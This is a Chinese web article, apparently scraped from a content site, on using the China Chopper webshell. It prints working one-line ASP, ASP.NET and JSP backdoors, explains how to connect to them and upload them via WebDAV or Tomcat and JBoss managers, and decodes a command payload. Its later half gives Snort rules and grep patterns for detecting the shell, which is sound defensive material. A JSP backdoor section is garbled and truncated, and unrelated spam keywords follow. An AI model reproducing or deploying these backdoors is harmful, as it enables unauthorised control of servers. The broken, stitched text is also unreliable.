千家信息网

中国菜刀使用方法以及小技巧

发表于:2024-09-22 作者:千家信息网编辑
千家信息网最后更新 2024年09月22日,相信大多数的站长都用FTP来管理web空间,但是相对于菜刀来说FTP简直弱到爆.就数据库管理方面来说,phpmyadmin和帝国软件只能管理mysql数据库,而且在软件的体积上跟菜刀完全没法比,如果精
千家信息网最后更新 2024年09月22日中国菜刀使用方法以及小技巧

相信大多数的站长都用FTP来管理web空间,但是相对于菜刀来说FTP简直弱到爆.就数据库管理方面来说,phpmyadmin和帝国软件只能管理mysql数据库,而且在软件的体积上跟菜刀完全没法比,如果精通SQL语法,何必还要PHPMYADMIN呢?而且中国菜刀以其特×××形界面,支持MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS,支持ADO方式连接的数据库。

服务端:

在服务端运行的代码如下:

PHP:

ASP: <%eval request("pass")%>

ASP.NET: <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>

JSP<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>

(注意: ASP.NET要单独一个文件或此文件也是Jscript语言)

叉叉之前在上传漏洞演示,利用burpsuite抓包改包上传最后讲到用菜刀连接,看看是怎么实现的:

在主视图中右键/添加,在弹出的对话框中输入服务端地址,连接的密码(这个必须要),选择正确的脚本类型和语言编码,保存后即可使用文件管理,虚拟终端,数据库管理三大块功能。要是其它都没错误,那么可能就是你把语言编码选错了.

1. 文件管理:缓存下载目录,并支持离线查看缓存目录,上传下载修改文件

2. 虚拟终端:人性化的设计,操作方便;(输入HELP查看更多用法)

3. 数据库管理:图形界面,支持MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS支持ADO方式连接的数据库。

(各种脚本条件下的数据库连接方法请点击数据库管理界面左上角处的配置按钮查看)

PHP脚本:

类型 类型可为MYSQL,MSSQL,ORACLE,INFOMIX中的一种

主机地址 主机地址可为机器名或IP地址,如localhost

数据库用户 连接数据库的用户名,如root

数据库密码

连接数据库的密码,如123455

ASPASP.NET脚本:

类型 类型只能填ADO

ADO配置信息

ADO连接各种数据库的方式不一样。如MSSQL的配置信息为

Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd=123456

4. 网站蜘蛛功能:织出一张网站的目录结构。下载的列表文件存在桌面,右键菜单/载入URL列表即可以根据地址得到目录结构

中国菜刀上传的机制:

通过WebDAV文件上传

通过JBoss jmx-console 或者ApacheTomcat管理页面上传

远程代码执行下载

通过其他方式接入后传输

其***payload的编码如下:

Password=Response.Write("->|");

var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001).GetString(System. Convert.FromBase64String("dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0luZyhSZXF1ZXN0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzKCk7dmFyIG91dDpTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTaGVsbEV4ZWN1dGU9ZmFsc2U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJyb3I9dHJ1ZTtlLlN0YXJ0SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0luZyhSZXF1ZXN0Lkl0ZW1bInoyIl0pKTtlLlN0YXJ0KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZShvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw%3D%3D")),"unsafe");}catch(err){Response.Write("ERROR:// "%2Berr.message);}Response.Write("|<-");Response.End();&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d75px9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D

使用Fiddlertext wizard功能将其base64解码为明文varc=newSystem.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding(65001).

GetString(System.Convert.FromBase64String(Request.Item["z1"])));

vare=newSystem.Diagnostics.Process();

varout:System.IO.StreamReader,EI:System.IO.StreamReader;

c.UseShellExecute=false;

c.RedirectStandardOutput=true;c.RedirectStandardError=true;

e.StartInfo=c;c.Arguments="/c"+System.Text.Encoding.GetEncoding(65001).

GetString(System.Convert.FromBase64String(Request.Item["z2"]));

e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();

Response.Write(out.ReadToEnd()+EI.ReadToEnd());

上面这段代码的意思是使用base64解码存储在z1z2这两个参数中的数据。接下来我们来查看z1z2对应的值。

&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d75px9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D

base64解码参数对应的值,如下所示:

z1=cmdz2=cd /d "c:\inetpub\wwwroot\"&whoami&echo [S]&cd&echo [E]

其中z1的值是cmdz2的值是cd /d "c:\inetpub\wwwroot\"&whoami&echo [S]&cd&echo [E]。该操作的意思就是执行cmd命令,列出当前用户与当前目录,执行结果如下所示:

->|nt authority\network service[S]C:\Inetpub\wwwroot[E]|<-

now,我们知道中国菜刀的流量通信的特征,可以利用网络或主机级别的防护软件检测这种恶意通信。

网络:

可以利用Snort编写规则检测中国菜刀的流量,能够轻松的捕获到异常数据,Keith Tyler在他的博客中给出了一个基本的IDS规则:

alert tcp any any -> any 80 ( sid:900001; content:"base64_decode";http_client_body;flow:to_server,established; content:"POST"; nocase;http_method; ;msg:"Webshell Detected Apache";)

为了减少误报,我们将该段规则修改了下,只检测数据包内容中包含FromBase64String以及z1,如下:

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS

(msg: "China Chopper with first Command Detected";

flow:to_server,established; content: "FromBase64String";

content: "z1"; content:"POST"; nocase;http_method;

reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/

breaking-down-the-china-chopper-web-shell-part-i.html;

classtype:web-application-attack; sid: 900000101;)

以下规则更进一步优化,以下规则在数据包中查找FromBase64String,并且利用正则表达式匹配z后面任意一到三的数字组合,如Z1Z10Z100等。

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS

(msg: "China Chopper with all Commands Detected"; flow:to_server,established;

content: "FromBase64String"; content: "z"; pcre: "/Z\d{1,3}/i"; content:"POST"; nocase;http_method;

reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/

breaking-down-the-china-chopper-web-shell-part-i.html;

classtype:web-application-attack; sid: 900000102;)

这些IDS特征都可以进一步优化,OK,我们了解了网络层面如何检测中国菜刀数据包,接下来介绍下如何通过主机级别的检测发现该数据包。

主机:

Linux上最快最简单的方法查找中国菜刀,可以利用egrep+正则表达式识别被感染的文件,如下:

egrep -re ' [<][?]php\s\@eval[(]\$_POST\[.+\][)];[?][>]' *.php

egrep+正则表达式是一个强大的组合,国外安全研究者Ian Ahl编写了一些正则表达式教程,如下:

regex basics

Using regex with Notepad

另外,Window提供了一种方法,通过findstr命令加上正则表达式搜索文件。如下:

可以看到在Windows上正则表达式与linux略有区别,如下:

findstr /R "[<][?]php.\@eval[(]\$_POST.*[)];[?][>]" *.php

以上命令是查找PHP shell,如果要查找ASPX shell,只需修改正则表达式即可,如下:

egrep -re '[<]\%\@\sPage\sLanguage=.Jscript.\%[>][<]\%eval.Request\.Item.+unsafe' *.aspx

findstr /R "[<]\%\@.Page.Language=.Jscript.\%[>][<]\%eval.Request\.Item.*unsafe" *.aspx

如果你要查找一些隐藏的PHPASPX文件,可以使用dir命令来,如下:

dir /S /A /B *.php

Findstr还可以搜索子目录:

findstr /R /S "[<][?]php.\@eval[(]\$_POST.*[)];[?][>]" *.php

记录一下JSP几种后门

以下是服务端,保存成one.jsp并上传至目标服务器中。

通过使用一句话***客户端连接one.jsp***。

将下列代码保存为html页面:

JSP一句话***客户端

专用JSP***连接器

服务端地址

保存完成后,打开html页面,写入一句话***服务端地址, 例如http://shenwolf.wap.zhanqunabc.cn/ ,写入需要的代码和保存的文件名称点击保存即服务器,使用中国菜刀工具进行连File(application.getRealPath(request.getRequestURI())).getParent();sb.append(s+"t");if(!s.substring(0,1).equals("/")){AA(sb);}}else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));while((l=br.readLine())!=null){sb.append(l+"rn");}br.close();}else OutputStreamWriter(new {KK(z1,z2);sb.append("1");}else

if(Z.equals("L")){LL(z1,z2);sb.append("1");}else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);}else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb);}}catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("|"+"


数据 数据库 文件 菜刀 管理 服务 中国 地址 正则 表达式 主机 代码 目录 类型 规则 支持 检测 命令 方式 脚本 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 cbd软件开发是什么意思 银行服务器工程师好不好 网络安全法个人认为 我的世界服务器如何用命令换皮肤 显示dns服务器可能存在问题 安卓软件开发需要哪些工具 软件开发需要交纳增值税吗 有关于大学生网络安全的论文 浅谈网络技术在铁道通信的应用 如何在清楚数据库密码 oracle数据库写锁 学习网络技术应什么顺序 网络安全攻防配合工作 网络安全宣传周首场 软件开发是实现什么概念 软件开发跳槽可以做什么 软件开发一个功能点需要多长时间 安徽安卓软件开发定制 广东星科软件开发公司 服务器安全卫士属于laas 我的世界粘液服务器指令 软件开发需要交纳增值税吗 邢台市锦泽软件开发 ngrok服务器搭建 对日软件开发未来 语音系统和数据库的区别 数据库课程设计干洗店 军职在线网络安全技术 北京放心软件开发服务有哪些 数据库分布式事务管理
0